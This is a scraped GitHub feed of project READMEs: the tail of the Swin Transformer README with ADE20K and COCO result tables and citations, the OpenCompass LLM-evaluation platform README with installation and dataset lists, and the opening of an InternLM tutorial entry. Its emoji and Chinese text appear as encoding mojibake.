align="center">47M</td> <td align="center">292G</td> </tr> <tr> <td align="center">Swin-B</td> <td align="center">HTC++</td> <td align="center">ImageNet-22K</td> <td align="center">6x</td> <td align="center">56.4</td> <td align="center">49.1</td> <td align="center">160M</td> <td align="center">1043G</td> </tr> <tr> <td align="center">Swin-L</td> <td align="center">HTC++</td> <td align="center">ImageNet-22K</td> <td align="center">3x</td> <td align="center">57.1</td> <td align="center">49.5</td> <td align="center">284M</td> <td align="center">1470G</td> </tr> <tr> <td align="center">Swin-L</td> <td align="center">HTC++<sup>*</sup></td> <td align="center">ImageNet-22K</td> <td align="center">3x</td> <td align="center">58.0</td> <td align="center">50.4</td> <td align="center">284M</td> <td align="center">-</td> </tr> </tbody> </table> <p>Note: <sup>*</sup> indicates multi-scale testing.</p> <p><strong>ADE20K Semantic Segmentation (val)</strong></p> <table> <thead> <tr> <th align="center">Backbone</th> <th align="center">Method</th> <th align="center">pretrain</th> <th align="center">Crop Size</th> <th align="center">Lr Schd</th> <th align="center">mIoU</th> <th align="center">mIoU (ms+flip)</th> <th align="center">#params</th> <th align="center">FLOPs</th> </tr> </thead> <tbody> <tr> <td align="center">Swin-T</td> <td align="center">UPerNet</td> <td align="center">ImageNet-1K</td> <td align="center">512x512</td> <td align="center">160K</td> <td align="center">44.51</td> <td align="center">45.81</td> <td align="center">60M</td> <td align="center">945G</td> </tr> <tr> <td align="center">Swin-S</td> <td align="center">UperNet</td> <td align="center">ImageNet-1K</td> <td align="center">512x512</td> <td align="center">160K</td> <td align="center">47.64</td> <td align="center">49.47</td> <td align="center">81M</td> <td align="center">1038G</td> </tr> <tr> <td align="center">Swin-B</td> <td align="center">UperNet</td> <td align="center">ImageNet-1K</td> <td align="center">512x512</td> <td align="center">160K</td> <td align="center">48.13</td> <td align="center">49.72</td> <td align="center">121M</td> <td align="center">1188G</td> </tr> <tr> <td align="center">Swin-B</td> <td align="center">UPerNet</td> <td align="center">ImageNet-22K</td> <td align="center">640x640</td> <td align="center">160K</td> <td align="center">50.04</td> <td align="center">51.66</td> <td align="center">121M</td> <td align="center">1841G</td> </tr> <tr> <td align="center">Swin-L</td> <td align="center">UperNet</td> <td align="center">ImageNet-22K</td> <td align="center">640x640</td> <td align="center">160K</td> <td align="center">52.05</td> <td align="center">53.53</td> <td align="center">234M</td> <td align="center">3230G</td> </tr> </tbody> </table> <h2>Citing Swin Transformer</h2> <pre><code>@inproceedings{liu2021Swin, title={Swin Transformer: Hierarchical Vision Transformer using Shifted Windows}, author={Liu, Ze and Lin, Yutong and Cao, Yue and Hu, Han and Wei, Yixuan and Zhang, Zheng and Lin, Stephen and Guo, Baining}, booktitle={Proceedings of the IEEE/CVF International Conference on Computer Vision (ICCV)}, year={2021} } </code></pre> <h2>Citing Local Relation Networks (the first full-attention visual backbone)</h2> <pre><code>@inproceedings{hu2019local, title={Local Relation Networks for Image Recognition}, author={Hu, Han and Zhang, Zheng and Xie, Zhenda and Lin, Stephen}, booktitle={Proceedings of the IEEE/CVF International Conference on Computer Vision (ICCV)}, pages={3464--3473}, year={2019} } </code></pre> <h2>Citing Swin Transformer V2</h2> <pre><code>@inproceedings{liu2021swinv2, title={Swin Transformer V2: Scaling Up Capacity and Resolution}, author={Ze Liu and Han Hu and Yutong Lin and Zhuliang Yao and Zhenda Xie and Yixuan Wei and Jia Ning and Yue Cao and Zheng Zhang and Li Dong and Furu Wei and Baining Guo}, booktitle={International Conference on Computer Vision and Pattern Recognition (CVPR)}, year={2022} } </code></pre> <h2>Citing SimMIM (a self-supervised approach that enables SwinV2-G)</h2> <pre><code>@inproceedings{xie2021simmim, title={SimMIM: A Simple Framework for Masked Image Modeling}, author={Xie, Zhenda and Zhang, Zheng and Cao, Yue and Lin, Yutong and Bao, Jianmin and Yao, Zhuliang and Dai, Qi and Hu, Han}, booktitle={International Conference on Computer Vision and Pattern Recognition (CVPR)}, year={2022} } </code></pre> <h2>Citing SimMIM-data-scaling</h2> <pre><code>@article{xie2022data, title={On Data Scaling in Masked Image Modeling}, author={Xie, Zhenda and Zhang, Zheng and Cao, Yue and Lin, Yutong and Wei, Yixuan and Dai, Qi and Hu, Han}, journal={arXiv preprint arXiv:2206.04664}, year={2022} } </code></pre> <h2>Citing Swin-MoE</h2> <pre><code>@misc{hwang2022tutel, title={Tutel: Adaptive Mixture-of-Experts at Scale}, author={Changho Hwang and Wei Cui and Yifan Xiong and Ziyue Yang and Ze Liu and Han Hu and Zilong Wang and Rafael Salas and Jithin Jose and Prabhat Ram and Joe Chau and Peng Cheng and Fan Yang and Mao Yang and Yongqiang Xiong}, year={2022}, eprint={2206.03382}, archivePrefix={arXiv} } </code></pre> <h2>Getting Started</h2> <ul> <li>For <strong>Image Classification</strong>, please see <a href="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/get_started.md">get_started.md</a> for detailed instructions.</li> <li>For <strong>Object Detection and Instance Segmentation</strong>, please see <a href="https://github.com/SwinTransformer/Swin-Transformer-Object-Detection">Swin Transformer for Object Detection</a>.</li> <li>For <strong>Semantic Segmentation</strong>, please see <a href="https://github.com/SwinTransformer/Swin-Transformer-Semantic-Segmentation">Swin Transformer for Semantic Segmentation</a>.</li> <li>For <strong>Self-Supervised Learning</strong>, please see <a href="https://github.com/SwinTransformer/Transformer-SSL">Transformer-SSL</a>.</li> <li>For <strong>Video Recognition</strong>, please see <a href="https://github.com/SwinTransformer/Video-Swin-Transformer">Video Swin Transformer</a>.</li> </ul> <h2>Third-party Usage and Experiments</h2> <p><em><strong>In this pargraph, we cross link third-party repositories which use Swin and report results. You can let us know by raising an issue</strong></em></p> <p>(<code>Note please report accuracy numbers and provide trained models in your new repository to facilitate others to get sense of correctness and model behavior</code>)</p> <p>[12/29/2022] Swin Transformers (V2) inference implemented in FasterTransformer: <a href="https://github.com/NVIDIA/FasterTransformer/raw/main/docs/swin_guide.md">FasterTransformer</a></p> <p>[06/30/2022] Swin Transformers (V1) inference implemented in FasterTransformer: <a href="https://github.com/NVIDIA/FasterTransformer/raw/main/docs/swin_guide.md">FasterTransformer</a></p> <p>[05/12/2022] Swin Transformers (V1) implemented in TensorFlow with the pre-trained parameters ported into them. Find the implementation, TensorFlow weights, code example here in <a href="https://github.com/sayakpaul/swin-transformers-tf/">this repository</a>.</p> <p>[04/06/2022] Swin Transformer for Audio Classification: <a href="https://github.com/RetroCirce/HTS-Audio-Transformer">Hierarchical Token Semantic Audio Transformer</a>.</p> <p>[12/21/2021] Swin Transformer for StyleGAN: <a href="https://github.com/microsoft/StyleSwin">StyleSwin</a></p> <p>[12/13/2021] Swin Transformer for Face Recognition: <a href="https://github.com/JDAI-CV/FaceX-Zoo">FaceX-Zoo</a></p> <p>[08/29/2021] Swin Transformer for Image Restoration: <a href="https://github.com/JingyunLiang/SwinIR">SwinIR</a></p> <p>[08/12/2021] Swin Transformer for person reID: <a href="https://github.com/layumi/Person_reID_baseline_pytorch">https://github.com/layumi/Person_reID_baseline_pytorch</a></p> <p>[06/29/2021] Swin-Transformer in PaddleClas and inference based on whl package: <a href="https://github.com/PaddlePaddle/PaddleClas">https://github.com/PaddlePaddle/PaddleClas</a></p> <p>[04/14/2021] Swin for RetinaNet in Detectron: <a href="https://github.com/xiaohu2015/SwinT_detectron2">https://github.com/xiaohu2015/SwinT_detectron2</a>.</p> <p>[04/16/2021] Included in a famous model zoo: <a href="https://github.com/rwightman/pytorch-image-models">https://github.com/rwightman/pytorch-image-models</a>.</p> <p>[04/20/2021] Swin-Transformer classifier inference using TorchServe: <a href="https://github.com/kamalkraj/Swin-Transformer-Serve">https://github.com/kamalkraj/Swin-Transformer-Serve</a></p> <h2>Contributing</h2> <p>This project welcomes contributions and suggestions. Most contributions require you to agree to a Contributor License Agreement (CLA) declaring that you have the right to, and actually do, grant us the rights to use your contribution. For details, visit <a href="https://cla.opensource.microsoft.com">https://cla.opensource.microsoft.com</a>.</p> <p>When you submit a pull request, a CLA bot will automatically determine whether you need to provide a CLA and decorate the PR appropriately (e.g., status check, comment). Simply follow the instructions provided by the bot. You will only need to do this once across all repos using our CLA.</p> <p>This project has adopted the <a href="https://opensource.microsoft.com/codeofconduct/">Microsoft Open Source Code of Conduct</a>. For more information see the <a href="https://opensource.microsoft.com/codeofconduct/faq/">Code of Conduct FAQ</a> or contact <a href="mailto:opencode@microsoft.com">opencode@microsoft.com</a> with any additional questions or comments.</p> <h2>Trademarks</h2> <p>This project may contain trademarks or logos for projects, products, or services. Authorized use of Microsoft trademarks or logos is subject to and must follow <a href="https://www.microsoft.com/en-us/legal/intellectualproperty/trademarks/usage/general">Microsoft's Trademark &amp; Brand Guidelines</a>. Use of Microsoft trademarks or logos in modified versions of this project must not cause confusion or imply Microsoft sponsorship. Any use of third-party trademarks or logos are subject to those third-party's policies.</p> - open-compass/opencompass - 2024-01-05T01:40:31Z - tag:github.com,2024-01-05:/open-compass/opencompass - - <p>OpenCompass is an LLM evaluation platform, supporting a wide range of models (LLaMA, LLaMa2, ChatGLM2, ChatGPT, Claude, etc) over 50+ datasets.</p><hr><div align="center"> <img src="https://raw.githubusercontent.com/open-compass/opencompass/main/docs/en/_static/image/logo.svg?sanitize=true" width="500px"> <br> <br> <p><a href="https://opencompass.readthedocs.io/en"><img src="https://readthedocs.org/projects/opencompass/badge" alt="docs"></a> <a href="https://github.com/open-compass/opencompass/raw/main/LICENSE"><img src="https://img.shields.io/github/license/InternLM/opencompass.svg?sanitize=true" alt="license"></a></p> <!-- [![PyPI](https://badge.fury.io/py/opencompass.svg)](https://pypi.org/project/opencompass/) --> <p><a href="https://opencompass.org.cn/">๐ŸŒWebsite</a> | <a href="https://opencompass.readthedocs.io/en/latest/">๐Ÿ“˜Documentation</a> | <a href="https://opencompass.readthedocs.io/en/latest/get_started/installation.html">๐Ÿ› ๏ธInstallation</a> | <a href="https://github.com/open-compass/opencompass/issues/new/choose">๐Ÿค”Reporting Issues</a></p> <p>English | <a href="https://raw.githubusercontent.com/open-compass/opencompass/main/README_zh-CN.md">็ฎ€ไฝ“ไธญๆ–‡</a></p> </div> <p align="center"> ๐Ÿ‘‹ join us on <a href="https://discord.gg/KKwfEbFj7U" target="_blank">Discord</a> and <a href="https://r.vansin.top/?r=opencompass" target="_blank">WeChat</a> </p> <h2>๐Ÿ“ฃ OpenCompass 2023 LLM Annual Leaderboard</h2> <p>We are honored to have witnessed the tremendous progress of artificial general intelligence together with the community in the past year, and we are also very pleased that <strong>OpenCompass</strong> can help numerous developers and users.</p> <p>We announce the launch of the <strong>OpenCompass 2023 LLM Annual Leaderboard</strong> plan. We expect to release the annual leaderboard of the LLMs in January 2024, systematically evaluating the performance of LLMs in various capabilities such as language, knowledge, reasoning, creation, long-text, and agents.</p> <p>At that time, we will release rankings for both open-source models and commercial API models, aiming to provide a comprehensive, objective, and neutral reference for the industry and research community.</p> <p>We sincerely invite various large models to join the OpenCompass to showcase their performance advantages in different fields. At the same time, we also welcome researchers and developers to provide valuable suggestions and contributions to jointly promote the development of the LLMs. If you have any questions or needs, please feel free to <a href="mailto:opencompass@pjlab.org.cn">contact us</a>. In addition, relevant evaluation contents, performance statistics, and evaluation methods will be open-source along with the leaderboard release.</p> <p>Let's look forward to the release of the OpenCompass 2023 LLM Annual Leaderboard!</p> <h2>๐Ÿงญ Welcome</h2> <p>to <strong>OpenCompass</strong>!</p> <p>Just like a compass guides us on our journey, OpenCompass will guide you through the complex landscape of evaluating large language models. With its powerful algorithms and intuitive interface, OpenCompass makes it easy to assess the quality and effectiveness of your NLP models.</p> <p>๐Ÿšฉ๐Ÿšฉ๐Ÿšฉ Explore opportunities at OpenCompass! We're currently <strong>hiring full-time researchers/engineers and interns</strong>. If you're passionate about LLM and OpenCompass, don't hesitate to reach out to us via <a href="mailto:zhangsongyang@pjlab.org.cn">email</a>. We'd love to hear from you!</p> <p>๐Ÿ”ฅ๐Ÿ”ฅ๐Ÿ”ฅ We are delighted to announce that <strong>the OpenCompass has been recommended by the Meta AI</strong>, click <a href="https://ai.meta.com/llama/get-started/#validation">Get Started</a> of Llama for more information.</p> <blockquote> <p><strong>Attention</strong><br> We launch the OpenCompass Collaboration project, welcome to support diverse evaluation benchmarks into OpenCompass! Clike <a href="https://github.com/open-compass/opencompass/issues/248">Issue</a> for more information. Let's work together to build a more powerful OpenCompass toolkit!</p> </blockquote> <h2>๐Ÿš€ What's New <a><img width="35" height="20" src="https://user-images.githubusercontent.com/12782558/212848161-5e783dd6-11e8-4fe0-bbba-39ffb77730be.png"></a></h2> <ul> <li><strong>[2023.12.28]</strong> We have enabled seamless evaluation of all models developed using <a href="https://github.com/Alpha-VLLM/LLaMA2-Accessory">LLaMA2-Accessory</a>, a powerful toolkit for comprehensive LLM development. ๐Ÿ”ฅ๐Ÿ”ฅ๐Ÿ”ฅ.</li> <li><strong>[2023.12.22]</strong> We have released <a href="https://github.com/open-compass/T-Eval">T-Eval</a>, a step-by-step evaluation benchmark to gauge your LLMs on tool utilization. Welcome to our <a href="https://open-compass.github.io/T-Eval/leaderboard.html">Leaderboard</a> for more details! ๐Ÿ”ฅ๐Ÿ”ฅ๐Ÿ”ฅ.</li> <li><strong>[2023.12.10]</strong> We have released <a href="https://github.com/open-compass/VLMEvalKit">VLMEvalKit</a>, a toolkit for evaluating vision-language models (VLMs), currently support 20+ VLMs and 7 multi-modal benchmarks (including MMBench series). ๐Ÿ”ฅ๐Ÿ”ฅ๐Ÿ”ฅ.</li> <li><strong>[2023.12.10]</strong> We have supported Mistral AI's MoE LLM: <strong>Mixtral-8x7B-32K</strong>. Welcome to <a href="https://github.com/open-compass/MixtralKit">MixtralKit</a> for more details about inference and evaluation. ๐Ÿ”ฅ๐Ÿ”ฅ๐Ÿ”ฅ.</li> <li><strong>[2023.11.22]</strong> We have supported many API-based models, include <strong>Baidu, ByteDance, Huawei, 360</strong>. Welcome to <a href="https://opencompass.readthedocs.io/en/latest/user_guides/models.html">Models</a> section for more details. ๐Ÿ”ฅ๐Ÿ”ฅ๐Ÿ”ฅ.</li> <li><strong>[2023.11.20]</strong> Thanks <a href="https://github.com/helloyongyang">helloyongyang</a> for supporting the evaluation with <a href="https://github.com/ModelTC/lightllm">LightLLM</a> as backent. Welcome to <a href="https://opencompass.readthedocs.io/en/latest/advanced_guides/evaluation_lightllm.html">Evaluation With LightLLM</a> for more details. ๐Ÿ”ฅ๐Ÿ”ฅ๐Ÿ”ฅ.</li> <li><strong>[2023.11.13]</strong> We are delighted to announce the release of OpenCompass v0.1.8. This version enables local loading of evaluation benchmarks, thereby eliminating the need for an internet connection. Please note that with this update, <strong>you must re-download all evaluation datasets</strong> to ensure accurate and up-to-date results.๐Ÿ”ฅ๐Ÿ”ฅ๐Ÿ”ฅ.</li> <li><strong>[2023.11.06]</strong> We have supported several API-based models, include <strong>ChatGLM Pro@Zhipu, ABAB-Chat@MiniMax and Xunfei</strong>. Welcome to <a href="https://opencompass.readthedocs.io/en/latest/user_guides/models.html">Models</a> section for more details. ๐Ÿ”ฅ๐Ÿ”ฅ๐Ÿ”ฅ.</li> <li><strong>[2023.10.24]</strong> We release a new benchmark for evaluating LLMsโ€™ capabilities of having multi-turn dialogues. Welcome to <a href="https://github.com/open-compass/BotChat">BotChat</a> for more details.</li> <li><strong>[2023.09.26]</strong> We update the leaderboard with <a href="https://github.com/QwenLM/Qwen">Qwen</a>, one of the best-performing open-source models currently available, welcome to our <a href="https://opencompass.org.cn">homepage</a> for more details.</li> <li><strong>[2023.09.20]</strong> We update the leaderboard with <a href="https://github.com/InternLM/InternLM">InternLM-20B</a>, welcome to our <a href="https://opencompass.org.cn">homepage</a> for more details.</li> <li><strong>[2023.09.19]</strong> We update the leaderboard with WeMix-LLaMA2-70B/Phi-1.5-1.3B, welcome to our <a href="https://opencompass.org.cn">homepage</a> for more details.</li> <li><strong>[2023.09.18]</strong> We have released <a href="https://raw.githubusercontent.com/open-compass/opencompass/main/docs/en/advanced_guides/longeval.md">long context evaluation guidance</a>.</li> </ul> <blockquote> <p><a href="https://raw.githubusercontent.com/open-compass/opencompass/main/docs/en/notes/news.md">More</a></p> </blockquote> <h2>โœจ Introduction</h2> <p><img src="https://github.com/open-compass/opencompass/assets/22607038/f45fe125-4aed-4f8c-8fe8-df4efb41a8ea" alt="image"></p> <p>OpenCompass is a one-stop platform for large model evaluation, aiming to provide a fair, open, and reproducible benchmark for large model evaluation. Its main features include:</p> <ul> <li> <p><strong>Comprehensive support for models and datasets</strong>: Pre-support for 20+ HuggingFace and API models, a model evaluation scheme of 70+ datasets with about 400,000 questions, comprehensively evaluating the capabilities of the models in five dimensions.</p> </li> <li> <p><strong>Efficient distributed evaluation</strong>: One line command to implement task division and distributed evaluation, completing the full evaluation of billion-scale models in just a few hours.</p> </li> <li> <p><strong>Diversified evaluation paradigms</strong>: Support for zero-shot, few-shot, and chain-of-thought evaluations, combined with standard or dialogue-type prompt templates, to easily stimulate the maximum performance of various models.</p> </li> <li> <p><strong>Modular design with high extensibility</strong>: Want to add new models or datasets, customize an advanced task division strategy, or even support a new cluster management system? Everything about OpenCompass can be easily expanded!</p> </li> <li> <p><strong>Experiment management and reporting mechanism</strong>: Use config files to fully record each experiment, and support real-time reporting of results.</p> </li> </ul> <h2>๐Ÿ“Š Leaderboard</h2> <p>We provide <a href="https://opencompass.org.cn/rank">OpenCompass Leaderboard</a> for the community to rank all public models and API models. If you would like to join the evaluation, please provide the model repository URL or a standard API interface to the email address <code>opencompass@pjlab.org.cn</code>.</p> <p align="right"><a href="https://raw.githubusercontent.com/open-compass/opencompass/main/#top">๐Ÿ”Back to top</a></p> <h2>๐Ÿ› ๏ธ Installation</h2> <p>Below are the steps for quick installation and datasets preparation.</p> <h3>๐Ÿ’ป Environment Setup</h3> <h4>Open-source Models with GPU</h4> <pre><code class="language-bash">conda create --name opencompass python=3.10 pytorch torchvision pytorch-cuda -c nvidia -c pytorch -y conda activate opencompass git clone https://github.com/open-compass/opencompass opencompass cd opencompass pip install -e . </code></pre> <h4>API Models with CPU-only</h4> <pre><code class="language-bash">conda create -n opencompass python=3.10 pytorch torchvision torchaudio cpuonly -c pytorch -y conda activate opencompass git clone https://github.com/open-compass/opencompass opencompass cd opencompass pip install -e . # also please install requiresments packages via `pip install -r requirements/api.txt` for API models if needed. </code></pre> <h3>๐Ÿ“‚ Data Preparation</h3> <pre><code class="language-bash"># Download dataset to data/ folder wget https://github.com/open-compass/opencompass/releases/download/0.1.8.rc1/OpenCompassData-core-20231110.zip unzip OpenCompassData-core-20231110.zip </code></pre> <p>Some third-party features, like Humaneval and Llama, may require additional steps to work properly, for detailed steps please refer to the <a href="https://opencompass.readthedocs.io/en/latest/get_started/installation.html">Installation Guide</a>.</p> <p align="right"><a href="https://raw.githubusercontent.com/open-compass/opencompass/main/#top">๐Ÿ”Back to top</a></p> <h2>๐Ÿ—๏ธ ๏ธEvaluation</h2> <p>After ensuring that OpenCompass is installed correctly according to the above steps and the datasets are prepared, you can evaluate the performance of the LLaMA-7b model on the MMLU and C-Eval datasets using the following command:</p> <pre><code class="language-bash">python run.py --models hf_llama_7b --datasets mmlu_ppl ceval_ppl </code></pre> <p>OpenCompass has predefined configurations for many models and datasets. You can list all available model and dataset configurations using the <a href="https://raw.githubusercontent.com/open-compass/opencompass/main/docs/en/tools.md#list-configs">tools</a>.</p> <pre><code class="language-bash"># List all configurations python tools/list_configs.py # List all configurations related to llama and mmlu python tools/list_configs.py llama mmlu </code></pre> <p>You can also evaluate other HuggingFace models via command line. Taking LLaMA-7b as an example:</p> <pre><code class="language-bash">python run.py --datasets ceval_ppl mmlu_ppl \ --hf-path huggyllama/llama-7b \ # HuggingFace model path --model-kwargs device_map='auto' \ # Arguments for model construction --tokenizer-kwargs padding_side='left' truncation='left' use_fast=False \ # Arguments for tokenizer construction --max-out-len 100 \ # Maximum number of tokens generated --max-seq-len 2048 \ # Maximum sequence length the model can accept --batch-size 8 \ # Batch size --no-batch-padding \ # Don't enable batch padding, infer through for loop to avoid performance loss --num-gpus 1 # Number of minimum required GPUs </code></pre> <blockquote> <p><strong>Note</strong><br> To run the command above, you will need to remove the comments starting from <code># </code> first.</p> </blockquote> <p>Through the command line or configuration files, OpenCompass also supports evaluating APIs or custom models, as well as more diversified evaluation strategies. Please read the <a href="https://opencompass.readthedocs.io/en/latest/get_started/quick_start.html">Quick Start</a> to learn how to run an evaluation task.</p> <p align="right"><a href="https://raw.githubusercontent.com/open-compass/opencompass/main/#top">๐Ÿ”Back to top</a></p> <h2>๐Ÿ“– Dataset Support</h2> <table align="center"> <tbody> <tr align="center" valign="bottom"> <td> <b>Language</b> </td> <td> <b>Knowledge</b> </td> <td> <b>Reasoning</b> </td> <td> <b>Examination</b> </td> </tr> <tr valign="top"> <td> <details open> <summary><b>Word Definition</b></summary> <ul> <li>WiC</li> <li>SummEdits</li> </ul> </details> <details open> <summary><b>Idiom Learning</b></summary> <ul> <li>CHID</li> </ul> </details> <details open> <summary><b>Semantic Similarity</b></summary> <ul> <li>AFQMC</li> <li>BUSTM</li> </ul> </details> <details open> <summary><b>Coreference Resolution</b></summary> <ul> <li>CLUEWSC</li> <li>WSC</li> <li>WinoGrande</li> </ul> </details> <details open> <summary><b>Translation</b></summary> <ul> <li>Flores</li> <li>IWSLT2017</li> </ul> </details> <details open> <summary><b>Multi-language Question Answering</b></summary> <ul> <li>TyDi-QA</li> <li>XCOPA</li> </ul> </details> <details open> <summary><b>Multi-language Summary</b></summary> <ul> <li>XLSum</li> </ul> </details> </td> <td> <details open> <summary><b>Knowledge Question Answering</b></summary> <ul> <li>BoolQ</li> <li>CommonSenseQA</li> <li>NaturalQuestions</li> <li>TriviaQA</li> </ul> </details> </td> <td> <details open> <summary><b>Textual Entailment</b></summary> <ul> <li>CMNLI</li> <li>OCNLI</li> <li>OCNLI_FC</li> <li>AX-b</li> <li>AX-g</li> <li>CB</li> <li>RTE</li> <li>ANLI</li> </ul> </details> <details open> <summary><b>Commonsense Reasoning</b></summary> <ul> <li>StoryCloze</li> <li>COPA</li> <li>ReCoRD</li> <li>HellaSwag</li> <li>PIQA</li> <li>SIQA</li> </ul> </details> <details open> <summary><b>Mathematical Reasoning</b></summary> <ul> <li>MATH</li> <li>GSM8K</li> </ul> </details> <details open> <summary><b>Theorem Application</b></summary> <ul> <li>TheoremQA</li> <li>StrategyQA</li> <li>SciBench</li> </ul> </details> <details open> <summary><b>Comprehensive Reasoning</b></summary> <ul> <li>BBH</li> </ul> </details> </td> <td> <details open> <summary><b>Junior High, High School, University, Professional Examinations</b></summary> <ul> <li>C-Eval</li> <li>AGIEval</li> <li>MMLU</li> <li>GAOKAO-Bench</li> <li>CMMLU</li> <li>ARC</li> <li>Xiezhi</li> </ul> </details> <details open> <summary><b>Medical Examinations</b></summary> <ul> <li>CMB</li> </ul> </details> </td> </tr> </tbody> <tbody> <tr align="center" valign="bottom"> <td> <b>Understanding</b> </td> <td> <b>Long Context</b> </td> <td> <b>Safety</b> </td> <td> <b>Code</b> </td> </tr> <tr valign="top"> <td> <details open> <summary><b>Reading Comprehension</b></summary> <ul> <li>C3</li> <li>CMRC</li> <li>DRCD</li> <li>MultiRC</li> <li>RACE</li> <li>DROP</li> <li>OpenBookQA</li> <li>SQuAD2.0</li> </ul> </details> <details open> <summary><b>Content Summary</b></summary> <ul> <li>CSL</li> <li>LCSTS</li> <li>XSum</li> <li>SummScreen</li> </ul> </details> <details open> <summary><b>Content Analysis</b></summary> <ul> <li>EPRSTMT</li> <li>LAMBADA</li> <li>TNEWS</li> </ul> </details> </td> <td> <details open> <summary><b>Long Context Understanding</b></summary> <ul> <li>LEval</li> <li>LongBench</li> <li>GovReports</li> <li>NarrativeQA</li> <li>Qasper</li> </ul> </details> </td> <td> <details open> <summary><b>Safety</b></summary> <ul> <li>CivilComments</li> <li>CrowsPairs</li> <li>CValues</li> <li>JigsawMultilingual</li> <li>TruthfulQA</li> </ul> </details> <details open> <summary><b>Robustness</b></summary> <ul> <li>AdvGLUE</li> </ul> </details> </td> <td> <details open> <summary><b>Code</b></summary> <ul> <li>HumanEval</li> <li>HumanEvalX</li> <li>MBPP</li> <li>APPs</li> <li>DS1000</li> </ul> </details> </td> </tr> </tbody> </table> <h2>OpenCompass Ecosystem</h2> <p align="right"><a href="https://raw.githubusercontent.com/open-compass/opencompass/main/#top">๐Ÿ”Back to top</a></p> <h2>๐Ÿ“– Model Support</h2> <table align="center"> <tbody> <tr align="center" valign="bottom"> <td> <b>Open-source Models</b> </td> <td> <b>API Models</b> </td> <!-- <td> <b>Custom Models</b> </td> --> </tr> <tr valign="top"> <td> <ul> <li><a href="https://github.com/InternLM/InternLM">InternLM</a></li> <li><a href="https://github.com/facebookresearch/llama">LLaMA</a></li> <li><a href="https://github.com/lm-sys/FastChat">Vicuna</a></li> <li><a href="https://github.com/tatsu-lab/stanford_alpaca">Alpaca</a></li> <li><a href="https://github.com/baichuan-inc">Baichuan</a></li> <li><a href="https://github.com/nlpxucan/WizardLM">WizardLM</a></li> <li><a href="https://github.com/THUDM/ChatGLM2-6B">ChatGLM2</a></li> <li><a href="https://github.com/THUDM/ChatGLM3-6B">ChatGLM3</a></li> <li><a href="https://github.com/TigerResearch/TigerBot">TigerBot</a></li> <li><a href="https://github.com/QwenLM/Qwen">Qwen</a></li> <li><a href="https://github.com/vivo-ai-lab/BlueLM">BlueLM</a></li> <li>...</li> </ul> </td> <td> <ul> <li>OpenAI</li> <li>Claude</li> <li>ZhipuAI(ChatGLM)</li> <li>Baichuan</li> <li>ByteDance(YunQue)</li> <li>Huawei(PanGu)</li> <li>360</li> <li>Baidu(ERNIEBot)</li> <li>MiniMax(ABAB-Chat)</li> <li>SenseTime(nova)</li> <li>Xunfei(Spark)</li> <li>โ€ฆโ€ฆ</li> </ul> </td> </tr> </tbody> </table> <p align="right"><a href="https://raw.githubusercontent.com/open-compass/opencompass/main/#top">๐Ÿ”Back to top</a></p> <h2>๐Ÿ”œ Roadmap</h2> <ul> <li><input type="checkbox" disabled> Subjective Evaluation <ul> <li><input type="checkbox" disabled> Release CompassAreana</li> <li><input type="checkbox" disabled> Subjective evaluation dataset.</li> </ul> </li> <li><input type="checkbox" checked disabled> Long-context <ul> <li><input type="checkbox" disabled> Long-context evaluation with extensive datasets.</li> <li><input type="checkbox" disabled> Long-context leaderboard.</li> </ul> </li> <li><input type="checkbox" disabled> Coding <ul> <li><input type="checkbox" disabled> Coding evaluation leaderboard.</li> <li><input type="checkbox" checked disabled> Non-python language evaluation service.</li> </ul> </li> <li><input type="checkbox" disabled> Agent <ul> <li><input type="checkbox" disabled> Support various agenet framework.</li> <li><input type="checkbox" disabled> Evaluation of tool use of the LLMs.</li> </ul> </li> <li><input type="checkbox" checked disabled> Robustness <ul> <li><input type="checkbox" checked disabled> Support various attack method</li> </ul> </li> </ul> <h2>๐Ÿ‘ทโ€โ™‚๏ธ Contributing</h2> <p>We appreciate all contributions to improving OpenCompass. Please refer to the <a href="https://opencompass.readthedocs.io/en/latest/notes/contribution_guide.html">contributing guideline</a> for the best practice.</p> <h2>๐Ÿค Acknowledgements</h2> <p>Some code in this project is cited and modified from <a href="https://github.com/Shark-NLP/OpenICL">OpenICL</a>.</p> <p>Some datasets and prompt implementations are modified from <a href="https://github.com/FranxYao/chain-of-thought-hub">chain-of-thought-hub</a> and <a href="https://github.com/declare-lab/instruct-eval">instruct-eval</a>.</p> <h2>๐Ÿ–Š๏ธ Citation</h2> <pre><code class="language-bibtex">@misc{2023opencompass, title={OpenCompass: A Universal Evaluation Platform for Foundation Models}, author={OpenCompass Contributors}, howpublished = {\url{https://github.com/open-compass/opencompass}}, year={2023} } </code></pre> <p align="right"><a href="https://raw.githubusercontent.com/open-compass/opencompass/main/#top">๐Ÿ”Back to top</a></p> + InternLM/tutorial + 2024-01-06T01:38:45Z + tag:github.com,2024-01-06:/InternLM/tutorial + + <p></p><hr><h1>ไนฆ็”Ÿยทๆตฆ่ฏญๅคงๆจกๅž‹ๅฎžๆˆ˜่ฅ</h1> <p><img src="https://raw.githubusercontent.com/InternLM/tutorial/main/asset/camp.png" alt=""></p> <p>ไธบไบ†ๆŽจๅŠจๅคงๆจกๅž‹ๅœจๆ›ดๅคš่กŒไธš่ฝๅœฐๅผ€่Šฑ๏ผŒ่ฎฉๅผ€ๅ‘่€…ไปฌๆ›ด้ซ˜ๆ•ˆ็š„ๅญฆไน ๅคงๆจกๅž‹็š„ๅผ€ๅ‘ไธŽๅบ”็”จ๏ผŒไธŠๆตทไบบๅทฅๆ™บ่ƒฝๅฎž้ชŒๅฎค้‡็ฃ…ๆŽจๅ‡บไนฆ็”Ÿยทๆตฆ่ฏญๅคงๆจกๅž‹ๅฎžๆˆ˜่ฅ๏ผŒไธบๅนฟๅคงๅผ€ๅ‘่€…ๆญๅปบๅคงๆจกๅž‹ๅญฆไน ๅ’Œๅฎž่ทตๅผ€ๅ‘็š„ๅนณๅฐ๏ผŒไธคๅ‘จๆ—ถ้—ดๅธฆไฝ ็Žฉ่ฝฌๅคงๆจกๅž‹ๅพฎ่ฐƒใ€้ƒจ็ฝฒไธŽ่ฏ„ๆต‹ๅ…จ้“พ่ทฏใ€‚</p> <p>ๅฎžๆˆ˜่ฅ็ฌฌไบŒๆ‰น็ซ็ƒญๆŠฅๅไธญ๏ผŒๆฌข่ฟŽๅกซๅ†™<a href="https://www.wjx.top/vm/Yzzz2mi.aspx?udsid=876275">่กจๅ•</a>ๆŠฅๅ๏ผ</p> <h2>๐Ÿ˜Š ไฝ ๅฐ†่Žทๅพ—</h2> <p>๐Ÿ‘จโ€๐Ÿซ ๅฎžๅŠ›่ฎฒๅธˆ๏ผšๆฅ่‡ชๅ‰ๆฒฟ็ง‘็ 